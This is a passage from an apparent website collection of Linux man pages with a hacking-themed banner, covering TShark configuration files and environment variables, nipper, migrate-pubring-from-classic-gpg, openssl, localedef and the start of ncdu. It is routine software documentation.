The preferences files contain global (system-wide) and personal preference settings. If the system-wide preference file exists, it is read first, overriding the default settings. If the personal preferences file exists, it is read next, overriding any previous values. Note: If the command line option -o is used (possibly more than once), it will in turn override values from the preferences files.

The preferences settings are in the form prefname:value, one per line, where prefname is the name of the preference and value is the value to which it should be set; white space is allowed between : and value. A preference setting can be continued on subsequent lines by indenting the continuation lines with white space. A # character starts a comment that runs to the end of the line:

Capture in promiscuous mode?

# TRUE or FALSE (case-insensitive).
capture.prom_mode: TRUE

The global preferences file is looked for in the wireshark directory under the share subdirectory of the main installation directory. On macOS, this would typically be /Application/Wireshark.app/Contents/Resources/share; on other UNIX-compatible systems, such as Linux, \BSD, Solaris, and AIX, this would typically be /usr/share/wireshark/preferences for system-installed packages and /usr/local/share/wireshark/preferences for locally-installed packages; on Windows, this would typically be C:\Program Files\Wireshark\preferences.

On UNIX-compatible systems, the personal preferences file is looked for in $XDG_CONFIG_HOME/wireshark/preferences, (or, if $XDG_CONFIG_HOME/wireshark does not exist while $HOME/.wireshark does exist, $HOME/.wireshark/preferences); this is typically $HOME/.config/wireshark/preferences. On Windows, the personal preferences file is looked for in %APPDATA%\Wireshark\preferences (or, if %APPDATA% isn’t defined, %USERPROFILE%\Application Data\Wireshark\preferences).

Disabled (Enabled) Protocols

The disabled_protos files contain system-wide and personal lists of protocols that have been disabled, so that their dissectors are never called. The files contain protocol names, one per line, where the protocol name is the same name that would be used in a display filter for the protocol:

http tcp # a comment

The global disabled_protos file uses the same directory as the global preferences file.

The personal disabled_protos file uses the same directory as the personal preferences file.

Name Resolution (hosts)

If the personal hosts file exists, it is used to resolve IPv4 and IPv6 addresses before any other attempts are made to resolve them. The file has the standard hosts file syntax; each line contains one IP address and name, separated by whitespace. The same directory as for the personal preferences file is used.

Capture filter name resolution is handled by libpcap on UNIX-compatible systems, such as Linux, macOS, \BSD, Solaris, and AIX, and by Npcap or WinPcap on Windows. As such the Wireshark personal hosts file will not be consulted for capture filter name resolution.

Name Resolution (subnets)

If an IPv4 address cannot be translated via name resolution (no exact match is found) then a partial match is attempted via the subnets file.

Each line of this file consists of an IPv4 address, a subnet mask length separated only by a / and a name separated by whitespace. While the address must be a full IPv4 address, any values beyond the mask length are subsequently ignored.

An example is:

# Comments must be prepended by the # sign! 192.168.0.0/24 ws_test_network

A partially matched name will be printed as “subnet-name.remaining-address”. For example, “192.168.0.1” under the subnet above would be printed as “ws_test_network.1”; if the mask length above had been 16 rather than 24, the printed address would be ``ws_test_network.0.1".

Name Resolution (ethers)

The ethers files are consulted to correlate 6-byte hardware addresses to names. First the personal ethers file is tried and if an address is not found there the global ethers file is tried next.

Each line contains one hardware address and name, separated by whitespace. The digits of the hardware address are separated by colons (:), dashes (-) or periods (.). The same separator character must be used consistently in an address. The following three lines are valid lines of an ethers file:

ff:ff:ff:ff:ff:ff Broadcast c0-00-ff-ff-ff-ff TR_broadcast 00.00.00.00.00.00 Zero_broadcast

The global ethers file is looked for in the /etc directory on UNIX-compatible systems, such as Linux, macOS, \BSD, Solaris, and AIX, and in the main installation directory (for example, C:\Program Files\Wireshark) on Windows systems.

The personal ethers file is looked for in the same directory as the personal preferences file.

Capture filter name resolution is handled by libpcap on UNIX-compatible systems and Npcap or WinPcap on Windows. As such the Wireshark personal ethers file will not be consulted for capture filter name resolution.

Name Resolution (manuf)

The manuf file is used to match the 3-byte vendor portion of a 6-byte hardware address with the manufacturer’s name; it can also contain well-known MAC addresses and address ranges specified with a netmask. The format of the file is the same as the ethers files, except that entries of the form:

00:00:0C Cisco

can be provided, with the 3-byte OUI and the name for a vendor, and entries such as:

00-00-0C-07-AC/40 All-HSRP-routers

can be specified, with a MAC address and a mask indicating how many bits of the address must match. The above entry, for example, has 40 significant bits, or 5 bytes, and would match addresses from 00-00-0C-07-AC-00 through 00-00-0C-07-AC-FF. The mask need not be a multiple of 8.

The manuf file is looked for in the same directory as the global preferences file.

Name Resolution (services)

The services file is used to translate port numbers into names.

The file has the standard services file syntax; each line contains one (service) name and one transport identifier separated by white space. The transport identifier includes one port number and one transport protocol name (typically tcp, udp, or sctp) separated by a /.

An example is:

mydns 5045/udp # My own Domain Name Server mydns 5045/tcp # My own Domain Name Server

Name Resolution (ipxnets)

The ipxnets files are used to correlate 4-byte IPX network numbers to names. First the global ipxnets file is tried and if that address is not found there the personal one is tried next.

The format is the same as the ethers file, except that each address is four bytes instead of six. Additionally, the address can be represented as a single hexadecimal number, as is more common in the IPX world, rather than four hex octets. For example, these four lines are valid lines of an ipxnets file:

C0.A8.2C.00 HR c0-a8-1c-00 CEO 00:00:BE:EF IT_Server1 110f FileServer3

The global ipxnets file is looked for in the /etc directory on UNIX-compatible systems, such as Linux, macOS, \BSD, Solaris, and AIX, and in the main installation directory (for example, C:\Program Files\Wireshark) on Windows systems.

The personal ipxnets file is looked for in the same directory as the personal preferences file.

OUTPUT

TShark uses UTF-8 to represent strings internally. In some cases the output might not be valid. For example, a dissector might generate invalid UTF-8 character sequences. Programs reading TShark output should expect UTF-8 and be prepared for invalid output.

If TShark detects that it is writing to a TTY on a UNIX-compatible system, such as Linux, macOS, \BSD, Solaris, and AIX, and the locale does not support UTF-8, output will be re-encoded to match the current locale.

If TShark detects that it is writing to the console on Windows, dissection output will be encoded as UTF-16LE. Other output will be UTF-8. If extended characters don’t display properly in your terminal you might try setting your console code page to UTF-8 (chcp 65001) and using a modern terminal application if possible.

ENVIRONMENT VARIABLES

WIRESHARK_CONFIG_DIR

This environment variable overrides the location of personal configuration files. On UNIX-compatible systems, such as Linux, macOS, \BSD, Solaris, and AIX, it defaults to $XDG_CONFIG_HOME/wireshark (or, if that directory doesn’t exist but $HOME/.wireshark does exist, $HOME/.wireshark); this is typically $HOME/.config/wireshark. On Windows, it defaults to %APPDATA%\Wireshark (or, if %APPDATA% isn’t defined, %USERPROFILE%\Application Data\Wireshark). Available since Wireshark 3.0.

WIRESHARK_DEBUG_WMEM_OVERRIDE

Setting this environment variable forces the wmem framework to use the specified allocator backend for all allocations, regardless of which backend is normally specified by the code. This is mainly useful to developers when testing or debugging. See README.wmem in the source distribution for details.

WIRESHARK_RUN_FROM_BUILD_DIRECTORY

This environment variable causes the plugins and other data files to be loaded from the build directory (where the program was compiled) rather than from the standard locations. It has no effect when the program in question is running with root (or setuid) permissions on UNIX-compatible systems, such as Linux, macOS, \BSD, Solaris, and AIX.

WIRESHARK_DATA_DIR

This environment variable causes the various data files to be loaded from a directory other than the standard locations. It has no effect when the program in question is running with root (or setuid) permissions on UNIX-compatible systems.

WIRESHARK_EXTCAP_DIR

This environment variable causes the various extcap programs and scripts to be run from a directory other than the standard locations. It has no effect when the program in question is running with root (or setuid) permissions on UNIX-compatible systems.

WIRESHARK_PLUGIN_DIR

This environment variable causes the various plugins to be loaded from a directory other than the standard locations. It has no effect when the program in question is running with root (or setuid) permissions on UNIX-compatible systems.

ERF_RECORDS_TO_CHECK

This environment variable controls the number of ERF records checked when deciding if a file really is in the ERF format. Setting this environment variable a number higher than the default (20) would make false positives less likely.

IPFIX_RECORDS_TO_CHECK

This environment variable controls the number of IPFIX records checked when deciding if a file really is in the IPFIX format. Setting this environment variable a number higher than the default (20) would make false positives less likely.

WIRESHARK_ABORT_ON_DISSECTOR_BUG

If this environment variable is set, TShark will call abort(3) when a dissector bug is encountered. abort(3) will cause the program to exit abnormally; if you are running TShark in a debugger, it should halt in the debugger and allow inspection of the process, and, if you are not running it in a debugger, it will, on some OSes, assuming your environment is configured correctly, generate a core dump file. This can be useful to developers attempting to troubleshoot a problem with a protocol dissector.

WIRESHARK_ABORT_ON_TOO_MANY_ITEMS

If this environment variable is set, TShark will call abort(3) if a dissector tries to add too many items to a tree (generally this is an indication of the dissector not breaking out of a loop soon enough). abort(3) will cause the program to exit abnormally; if you are running TShark in a debugger, it should halt in the debugger and allow inspection of the process, and, if you are not running it in a debugger, it will, on some OSes, assuming your environment is configured correctly, generate a core dump file. This can be useful to developers attempting to troubleshoot a problem with a protocol dissector.

WIRESHARK_LOG_LEVEL

This environment variable controls the verbosity of diagnostic messages to the console. From less verbose to most verbose levels can be critical, warning, message, info, debug or noisy. Levels above the current level are also active. Levels critical and error are always active.

WIRESHARK_LOG_FATAL

Sets the fatal log level. Fatal log levels cause the program to abort. This level can be set to Error, critical or warning. Error is always fatal and is the default.

WIRESHARK_LOG_DOMAINS

This environment variable selects which log domains are active. The filter is given as a case-insensitive comma separated list. If set only the included domains will be enabled. The default domain is always considered to be enabled. Domain filter lists can be preceded by ! to invert the sense of the match.

WIRESHARK_LOG_DEBUG

List of domains with debug log level. This sets the level of the provided log domains and takes precedence over the active domains filter. If preceded by ! this disables the debug level instead.

WIRESHARK_LOG_NOISY

Same as above but for noisy log level instead.

SEE ALSO

wireshark-filter(4), wireshark(1), editcap(1), pcap(3), dumpcap(1), text2pcap(1), mergecap(1), pcap-filter(7) or tcpdump(8)

NOTES

This is the manual page for TShark 4.2.5. TShark is part of the Wireshark distribution. The latest version of Wireshark can be found at <https://www.wireshark.org>.

HTML versions of the Wireshark project man pages are available at <https://www.wireshark.org/docs/man-pages>.

AUTHORS

TShark uses the same packet dissection code that Wireshark does, as well as using many other modules from Wireshark; see the list of authors in the Wireshark man page for a list of authors of that code.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1609 - Linux cli command nipper

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nipper and provides detailed information about the command nipper, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nipper.

NAME 🖥️ nipper 🖥️

Network Infrastructure Parser. Produces reports based of network device configuration file settings.

SYNOPSIS

nipper [OPTIONS]

DESCRIPTION

Nipper processes network infrastructure device configuration files, performs a security audit and produces a report based on the findings. The default report will contain sections on the security related issues identified, the configuration of the device and an appendicies with additional information. Nipper currently supports the following device types:

* Cisco Switches (IOS) * Juniper NetScreen Firewall
* Cisco Routers (IOS) * CheckPointer Firewall-1
* Cisco Catalyst (IOS) * Nortel Passport
* Cisco Firewall (PIX) * Sonicwall Firewall
* Cisco Firewall (ASA)
* Cisco Firewall (FWSM)
* Cisco Catalyst (CatOS)
* Cisco Catalyst (NMP)
* Cisco Content Service Switches

OPTIONS

–help For help on all the options.

EXAMPLES

To produce an HTML formatted report for a Juniper NetScreen device:

nipper –screenos –input=config.txt –output=report.html

To produce an XML formatted report for a Cisco PIX firewall:

nipper –pix –xml –input=pix-config.txt –output=report.xml

To produce an HTML formatted report for a CheckPoint Firewall-1:

nipper –fw1 –input=/root/config-backups/fw1/conf/ –output=report.html

To produce an HTML formatted report for a Cisco IOS-based router using an external configuration file:

nipper –config=nipper.conf –input=router.txt –output=report.html

AUTHOR

Nipper was developed by Ian Ventura-Whiting (Fizz).

COPYRIGHT

Copyright © 2006-2008 Ian Ventura-Whiting.
This is free software. You may redistribute copies of it under the terms of the GNU General Public License v3 or above <http://www.gnu.org/licenses/gpl.html>. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

nipper.conf(5)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1610 - Linux cli command migrate-pubring-from-classic-gpg

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command migrate-pubring-from-classic-gpg and provides detailed information about the command migrate-pubring-from-classic-gpg, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the migrate-pubring-from-classic-gpg.

NAME 🖥️ migrate-pubring-from-classic-gpg 🖥️

pubring-from-classic-gpg - Migrate a public keyring from “classic” to “modern” GnuPG

SYNOPSIS

migrate-pubring-from-classic-gpg [ GPGHOMEDIR | –default ]

DESCRIPTION

migrate-pubring-from-classic-gpg migrates the public keyring in GnuPG home directory GPGHOMEDIR from the “classic” keyring format (pubring.gpg) to the “modern” keybox format using GnuPG versions 2.1 or 2.2 (pubring.kbx).

Specifying –default selects the standard GnuPG home directory (looking at $GNUPGHOME first, and falling back to ~/.gnupg if unset.

OPTIONS

-h, –help, –usage Output a short usage information.

DIAGNOSTICS

The program sends quite a bit of text (perhaps too much) to stderr.

During a migration, the tool backs up several pieces of data in a timestamped subdirectory of the GPGHOMEDIR.

LIMITATIONS

The keybox format rejects a number of OpenPGP certificates that the “classic” keyring format used to accept. These filters are defensive, since the certificates rejected are unsafe – either cryptographically unsound, or dangerously non-performant. This means that some migrations may produce warning messages about the migration being incomplete. This is generally a good thing!

Known limitations:

Flooded certificates

Some OpenPGP certificates have been flooded with bogus certifications as part of an attack on the SKS keyserver network (see https://tools.ietf.org/html/draft-dkg-openpgp-abuse-resistant-keystore-03#section-2.1).

The keybox format rejects import of any OpenPGP certificate larger than 5MiB. As of GnuPG 2.2.17, if gpg encounters such a flooded certificate will retry the import while stripping all third-party certifications (see “self-sigs-only” in gpg(1)).

The typical error message when migrating a keyring with a flooded certificate will be something like:

error writing keyring ‘pubring.kbx’: Provided object is too large

OpenPGPv3 public keys (a.k.a. PGP-2 keys)

Modern OpenPGP implementations use so-called “OpenPGP v4” public keys. Older versions of the public key format have serious known problems. See https://tools.ietf.org/html/rfc4880#section-5.5.2 for more details about and reasons for v3 key deprecation.

The keybox format skips v3 keys entirely during migration, and GnuPG will produce a message like:

skipped PGP-2 keys: 1

ENVIRONMENT VARIABLES

GNUPGHOME Selects the GnuPG home directory when set and –default is given.

GPG The name of the gpg executable (defaults to gpg ).

SEE ALSO

gpg(1)

AUTHOR

Copyright (C) 2016 Daniel Kahn Gillmor for the Debian project. Please report bugs via the Debian BTS.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1611 - Linux cli command ocspssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ocspssl and provides detailed information about the command ocspssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ocspssl.

NAME 🖥️ ocspssl 🖥️

OpenSSL application commands

SYNOPSIS

openssl cmd -help | [-option | -option arg] … [arg] …

DESCRIPTION

Every cmd listed above is a (sub-)command of the openssl (1) application. It has its own detailed manual page at **openssl-**cmd(1). For example, to view the manual page for the openssl dgst command, type man openssl-dgst.

OPTIONS

Among others, every subcommand has a help option.

-help
Print out a usage message for the subcommand.

SEE ALSO

openssl (1), openssl-asn1parse (1), openssl-ca (1), openssl-ciphers (1), openssl-cmp (1), openssl-cms (1), openssl-crl (1), openssl-crl2pkcs7 (1), openssl-dgst (1), openssl-dhparam (1), openssl-dsa (1), openssl-dsaparam (1), openssl-ec (1), openssl-ecparam (1), openssl-enc (1), openssl-engine (1), openssl-errstr (1), openssl-gendsa (1), openssl-genpkey (1), openssl-genrsa (1), openssl-info (1), openssl-kdf (1), openssl-mac (1), openssl-nseq (1), openssl-ocsp (1), openssl-passwd (1), openssl-pkcs12 (1), openssl-pkcs7 (1), openssl-pkcs8 (1), openssl-pkey (1), openssl-pkeyparam (1), openssl-pkeyutl (1), openssl-prime (1), openssl-rand (1), openssl-rehash (1), openssl-req (1), openssl-rsa (1), openssl-rsautl (1), openssl-s_client (1), openssl-s_server (1), openssl-s_time (1), openssl-sess_id (1), openssl-smime (1), openssl-speed (1), openssl-spkac (1), openssl-srp (1), openssl-storeutl (1), openssl-ts (1), openssl-verify (1), openssl-version (1), openssl-x509 (1),

HISTORY

Initially, the manual page entry for the openssl cmd command used to be available at cmd(1). Later, the alias **openssl-**cmd(1) was introduced, which made it easier to group the openssl commands using the apropos (1) command or the shell’s tab completion.

In order to reduce cluttering of the global manual page namespace, the manual page entries without the ‘openssl-’ prefix have been deprecated in OpenSSL 3.0 and will be removed in OpenSSL 4.0.

COPYRIGHT

Copyright 2019-2020 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1612 - Linux cli command localedef

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command localedef and provides detailed information about the command localedef, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the localedef.

NAME 🖥️ localedef 🖥️

compile locale definition files

SYNOPSIS

localedef [options] outputpath localedef –add-to-archive [options] compiledpath localedef –delete-from-archive [options] localenamelocaledef –list-archive [options] localedef –help localedef –usage localedef –version

DESCRIPTION

The localedef program reads the indicated charmap and input files, compiles them to a binary form quickly usable by the locale functions in the C library (setlocale(3), localeconv(3), etc.), and places the output in outputpath.

The outputpath argument is interpreted as follows:

  • If outputpath contains a slash character (’/’), it is interpreted as the name of the directory where the output definitions are to be stored. In this case, there is a separate output file for each locale category (LC_TIME, LC_NUMERIC, and so on).

  • If the –no-archive option is used, outputpath is the name of a subdirectory in /usr/lib/locale where per-category compiled files are placed.

  • Otherwise, outputpath is the name of a locale and the compiled locale data is added to the archive file /usr/lib/locale/locale-archive. A locale archive is a memory-mapped file which contains all the system-provided locales; it is used by all localized programs when the environment variable LOCPATH is not set.

In any case, localedef aborts if the directory in which it tries to write locale files has not already been created.

If no charmapfile is given, the value ANSI_X3.4-1968 (for ASCII) is used by default. If no inputfile is given, or if it is given as a dash (-), localedef reads from standard input.

OPTIONS

Operation-selection options

A few options direct localedef to do something other than compile locale definitions. Only one of these options should be used at a time.

–add-to-archive
Add the compiledpath directories to the locale archive file. The directories should have been created by previous runs of localedef, using –no-archive.

–delete-from-archive
Delete the named locales from the locale archive file.

–list-archive
List the locales contained in the locale archive file.

Other options

Some of the following options are sensible only for certain operations; generally, it should be self-evident which ones. Notice that -f and -c are reversed from what you might expect; that is, -f is not the same as –force.

-f* charmapfile***, –charmap=**charmapfile
Specify the file that defines the character set that is used by the input file. If charmapfile contains a slash character (’/’), it is interpreted as the name of the character map. Otherwise, the file is sought in the current directory and the default directory for character maps. If the environment variable I18NPATH is set, $I18NPATH/charmaps/ and $I18NPATH/ are also searched after the current directory. The default directory for character maps is printed by localedef –help.

-i* inputfile***, –inputfile=**inputfile
Specify the locale definition file to compile. The file is sought in the current directory and the default directory for locale definition files. If the environment variable I18NPATH is set, $I18NPATH/locales/ and $I18NPATH are also searched after the current directory. The default directory for locale definition files is printed by localedef –help.

-u* repertoirefile***, –repertoire-map=**repertoirefile
Read mappings from symbolic names to Unicode code points from repertoirefile. If repertoirefile contains a slash character (’/’), it is interpreted as the pathname of the repertoire map. Otherwise, the file is sought in the current directory and the default directory for repertoire maps. If the environment variable I18NPATH is set, $I18NPATH/repertoiremaps/ and $I18NPATH are also searched after the current directory. The default directory for repertoire maps is printed by localedef –help.

-A* aliasfile***, –alias-file=**aliasfile
Use aliasfile to look up aliases for locale names. There is no default aliases file.

–force
-c
Write the output files even if warnings were generated about the input file.

–verbose
-v
Generate extra warnings about errors that are normally ignored.

–big-endian
Generate big-endian output.

–little-endian
Generate little-endian output.

–no-archive
Do not use the locale archive file, instead create outputpath as a subdirectory in the same directory as the locale archive file, and create separate output files for locale categories in it. This is helpful to prevent system locale archive updates from overwriting custom locales created with localedef.

–no-hard-links
Do not create hard links between installed locales.

**–no-warnings=**warnings
Comma-separated list of warnings to disable. Supported warnings are ascii and intcurrsym.

–posix
Conform strictly to POSIX. Implies –verbose. This option currently has no other effect. POSIX conformance is assumed if the environment variable POSIXLY_CORRECT is set.

**–prefix=**pathname
Set the prefix to be prepended to the full archive pathname. By default, the prefix is empty. Setting the prefix to foo, the archive would be placed in foo/usr/lib/locale/locale-archive.

–quiet
Suppress all notifications and warnings, and report only fatal errors.

–replace
Replace a locale in the locale archive file. Without this option, if the locale is in the archive file already, an error occurs.

**–warnings=**warnings
Comma-separated list of warnings to enable. Supported warnings are ascii and intcurrsym.

–help
-?
Print a usage summary and exit. Also prints the default paths used by localedef.

–usage
Print a short usage summary and exit.

–version
-V
Print the version number, license, and disclaimer of warranty for localedef.

EXIT STATUS

One of the following exit values can be returned by localedef:

0
Command completed successfully.

1
Warnings or errors occurred, output files were written.

4
Errors encountered, no output created.

ENVIRONMENT

POSIXLY_CORRECT
The –posix flag is assumed if this environment variable is set.

I18NPATH
A colon-separated list of search directories for files.

FILES

/usr/share/i18n/charmaps
Usual default character map path.

/usr/share/i18n/locales
Usual default path for locale definition files.

/usr/share/i18n/repertoiremaps
Usual default repertoire map path.

/usr/lib/locale/locale-archive
Usual default locale archive location.

/usr/lib/locale
Usual default path for compiled individual locale data files.

outputpath/LC_ADDRESS
An output file that contains information about formatting of addresses and geography-related items.

outputpath/LC_COLLATE
An output file that contains information about the rules for comparing strings.

outputpath/LC_CTYPE
An output file that contains information about character classes.

outputpath/LC_IDENTIFICATION
An output file that contains metadata about the locale.

outputpath/LC_MEASUREMENT
An output file that contains information about locale measurements (metric versus US customary).

outputpath/LC_MESSAGES/SYS_LC_MESSAGES
An output file that contains information about the language messages should be printed in, and what an affirmative or negative answer looks like.

outputpath/LC_MONETARY
An output file that contains information about formatting of monetary values.

outputpath/LC_NAME
An output file that contains information about salutations for persons.

outputpath/LC_NUMERIC
An output file that contains information about formatting of nonmonetary numeric values.

outputpath/LC_PAPER
An output file that contains information about settings related to standard paper size.

outputpath/LC_TELEPHONE
An output file that contains information about formats to be used with telephone services.

outputpath/LC_TIME
An output file that contains information about formatting of data and time values.

STANDARDS

POSIX.1-2008.

EXAMPLES

Compile the locale files for Finnish in the UTF-8 character set and add it to the default locale archive with the name fi_FI.UTF-8:

localedef -f UTF-8 -i fi_FI fi_FI.UTF-8

The next example does the same thing, but generates files into the fi_FI.UTF-8 directory which can then be used by programs when the environment variable LOCPATH is set to the current directory (note that the last argument must contain a slash):

localedef -f UTF-8 -i fi_FI ./fi_FI.UTF-8

SEE ALSO

locale(1), charmap(5), locale(5), repertoiremap(5), locale(7)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1613 - Linux cli command ncdu

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command ncdu and provides detailed information about the command ncdu, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the ncdu.

NAME 🖥️ ncdu 🖥️

NCurses Disk Usage

SYNOPSIS

ncdu [options] dir

DESCRIPTION

ncdu (NCurses Disk Usage) is a curses-based version of the well-known ‘du’, and provides a fast way to see what directories are using your disk space.

OPTIONS

Mode Selection

-h, –help
Print a short help message and quit.

-v, -V, –version
Print ncdu version and quit.

-f FILE
Load the given file, which has earlier been created with the -o option. If FILE is equivalent to -, the file is read from standard input. For the sake of preventing a screw-up, the current version of ncdu will assume that the directory information in the imported file does not represent the filesystem on which the file is being imported. That is, the refresh, file deletion and shell spawning options in the browser will be disabled.

dir
Scan the given directory.

-o FILE
Export all necessary information to FILE instead of opening the browser interface. If FILE is -, the data is written to standard output. See the examples section below for some handy use cases. Be warned that the exported data may grow quite large when exporting a directory with many files. 10.000 files will get you an export in the order of 600 to 700 KiB uncompressed, or a little over 100 KiB when compressed with gzip. This scales linearly, so be prepared to handle a few tens of megabytes when dealing with millions of files.

-e, –extended, –no-extended
Enable/disable extended information mode. This will, in addition to the usual file information, also read the ownership, permissions and last modification time for each file. This will result in higher memory usage (by roughly ~30%) and in a larger output file when exporting. When using the file export/import function, this flag will need to be added both when exporting (to make sure the information is added to the export), and when importing (to read this extra information in memory). This flag has no effect when importing a file that has been exported without the extended information. This enables viewing and sorting by the latest child mtime, or modified time, using ’m’ and ‘M’, respectively.

–ignore-config
Do not attempt to load any configuration files.

Scan Options

These options affect the scanning progress, and have no effect when importing directory information from a file.

-x, –one-file-system
Do not cross filesystem boundaries, i.e. only count files and directories on the same filesystem as the directory being scanned.

–cross-file-system
Do cross filesystem boundaries. This is the default, but can be specified to overrule a previously given -x.

–exclude PATTERN
Exclude files that match PATTERN. The files will still be displayed by default, but are not counted towards the disk usage statistics. This argument can be added multiple times to add more patterns.

-X FILE, –exclude-from FILE
Exclude files that match any pattern in FILE. Patterns should be separated by a newline.

–include-caches, –exclude-caches
Include (default) or exclude directories containing CACHEDIR.TAG. The directories will still be displayed, but their contents will not be scanned or counted towards the disk usage statistics. <http://www.brynosaurus.com/cachedir/>

-L, –follow-symlinks, –no-follow-symlinks
Follow (or not) symlinks and count the size of the file they point to. As of ncdu 1.14, this option will not follow symlinks to directories and will count each symlinked file as a unique file (i.e. unlike how hard links are handled). This is subject to change in later versions.

–exclude-firmlinks, –follow-firmlinks
(MacOS only) Exclude or follow firmlinks.

–include-kernfs, –exclude-kernfs
